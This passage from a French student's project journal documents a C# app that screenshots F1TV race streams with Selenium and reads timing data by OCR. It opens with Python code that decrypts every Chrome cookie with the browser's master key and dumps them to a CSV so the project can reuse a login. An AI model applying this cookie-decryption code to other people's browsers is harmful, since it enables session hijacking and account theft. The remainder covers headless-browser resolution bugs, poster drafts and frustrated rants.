decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Ce programme va faire tout ce que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9.","title":"Vacances"},{"location":"jdb.html#lundi-24-avril-2023","text":"Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard.","title":"Lundi 24 Avril 2023"},{"location":"jdb.html#mardi-25-avril-2023","text":"Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble.","title":"Mardi 25 Avril 2023"},{"location":"jdb.html#26-avril-2023","text":"Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste.","title":"26 Avril 2023"},{"location":"jdb.html#jeudi-27-avril-2023","text":"C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite.","title":"Jeudi 27 Avril 2023"},{"location":"jdb.html#vendredi-28-avril-2023","text":"Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance IWebDriver driver = new FirefoxDriver (); // Navigate to the specified URL driver . Navigate (). GoToUrl ( \"https://www.example.com\" ); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver . Quit (); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat.","title":"Vendredi 28 Avril 2023"},{"location":"jdb.html#lundi-1-mai-2023","text":"Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings (); settings . CachePath = Path . Combine ( Environment . GetFolderPath ( Environment . SpecialFolder . LocalApplicationData ), \"CefSharp\\\\Cache\" ); // Set cache path settings . LogSeverity = LogSeverity . Disable ; // Disable logging Cef . Initialize ( settings ); // Initialize CEF using ( var browser = new ChromiumWebBrowser ( \"www.google.com\" , new BrowserSettings ())) // Launch Chromium in off-screen mode { browser . Load ( \"https://www.example.com\" ); // Navigate to the test URL browser . Size = new Size ( 1920 , 1080 ); // Set the browser size to 1920x1080 browser . ScreenshotAsync (). ContinueWith ( task => { var bitmap = task . Result ; bitmap . Save ( \"screenshot.png\" , System . Drawing . Imaging . ImageFormat . Png ); // Take a screenshot and save it as a PNG file }). Wait (); } Cef . Shutdown (); // Shutdown CEF Avec ca il faut ces using : using System ; using System.Drawing ; using System.IO ; using CefSharp ; using CefSharp.OffScreen ; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options . AddArgument ( \"--width=1920\" ); options . AddArgument ( \"--height=1200\" ); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca.","title":"Lundi 1 Mai 2023"},{"location":"jdb.html#mardi-2-mai-2023","text":"Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling.","title":"Mardi 2 Mai 2023"},{"location":"jdb.html#recrutement-payerne-mai-2023","text":"J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec.","title":"Recrutement Payerne Mai 2023"},{"location":"jdb.html#vendredi-5-mai-2023","text":"Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR.","title":"Vendredi 5 Mai 2023"},{"location":"jdb.html#lundi-8-mai-2023","text":"Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir.","title":"Lundi 8 Mai 2023"},{"location":"jdb.html#mardi-9-mai-2023","text":"Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et 